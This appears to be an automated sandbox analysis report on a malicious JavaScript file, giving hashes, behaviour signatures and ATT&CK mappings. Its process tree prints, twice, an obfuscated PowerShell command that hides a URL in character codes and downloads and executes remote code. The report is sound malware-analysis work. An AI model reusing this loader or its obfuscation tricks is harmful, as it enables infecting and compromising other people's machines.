e5b805c78d8fdfba1e63f49a85c243a1359475099b5f3995d18868004bf7e79d

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:16

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General

Target

e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1.js
Size

186KB
MD5

7cc5189ca2d57054ccc80adba28a563c
SHA1

ba8e92e4740c7bc7662a07838e88b1859db84ecb
SHA256

e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1
SHA512

b1f6e415d79983573a95e14d2f80cc4c80029784991fbf02f4385f808687045381a58be5b10495132d5ae19f63b0964e79c83bfa311fb1aed36ab872ad1c791c
SSDEEP

1536:nw7RvYONnfXO2q0oVqRcWk9MQIGONnfXO2q0xVqRcWk9MQIRVqRcWk9MQI3ONnfJ:nsSsQR9sDRsRisdso

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	816	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2008	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2008	powershell.exe
2008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 216 wrote to memory of 2008	216	conhost.exe	85
PID 216 wrote to memory of 2008	216	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1.js
1⤵
PID:3500

C:\Windows\system32\conhost.exe
conhost --headless powershell $zylgaq='ur' ;new-alias printout c$($zylgaq)l;$fbdpmocwax=(838,849,857,841,843,838,858,857,862,795,857,791,838,786,856,851,852,787,789,786,852,844,852,803,855,801,849,845,850,856,855,790,789);$qbwyunrhl=('bronx','get-cmdlet');$idcrwphquks=$fbdpmocwax;foreach($hnvamqujbpywf in $idcrwphquks){$adhjuls=$hnvamqujbpywf;$vulckhboge=$vulckhboge+[char]($adhjuls-740);$dfjlkbwixetz=$vulckhboge; $xhrmpuicok=$dfjlkbwixetz};$axweyo[2]=$xhrmpuicok;$qeljvkafns='rl';$apzvhjqcdeykf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xhrmpuicok)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $zylgaq='ur' ;new-alias printout c$($zylgaq)l;$fbdpmocwax=(838,849,857,841,843,838,858,857,862,795,857,791,838,786,856,851,852,787,789,786,852,844,852,803,855,801,849,845,850,856,855,790,789);$qbwyunrhl=('bronx','get-cmdlet');$idcrwphquks=$fbdpmocwax;foreach($hnvamqujbpywf in $idcrwphquks){$adhjuls=$hnvamqujbpywf;$vulckhboge=$vulckhboge+[char]($adhjuls-740);$dfjlkbwixetz=$vulckhboge; $xhrmpuicok=$dfjlkbwixetz};$axweyo[2]=$xhrmpuicok;$qeljvkafns='rl';$apzvhjqcdeykf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xhrmpuicok)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqpqls2u.jhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2008-0-0x00007FFECEAA3000-0x00007FFECEAA5000-memory.dmp

Filesize
8KB

Download
memory/2008-7-0x0000025166A10000-0x0000025166A32000-memory.dmp

Filesize
136KB

Download
memory/2008-11-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download
memory/2008-12-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download
memory/2008-13-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download
memory/2008-14-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download
memory/2008-15-0x00007FFECEAA3000-0x00007FFECEAA5000-memory.dmp

Filesize
8KB

Download
memory/2008-16-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download
memory/2008-19-0x00007FFECEAA0000-0x00007FFECF561000-memory.dmp

Filesize
10.8MB

Download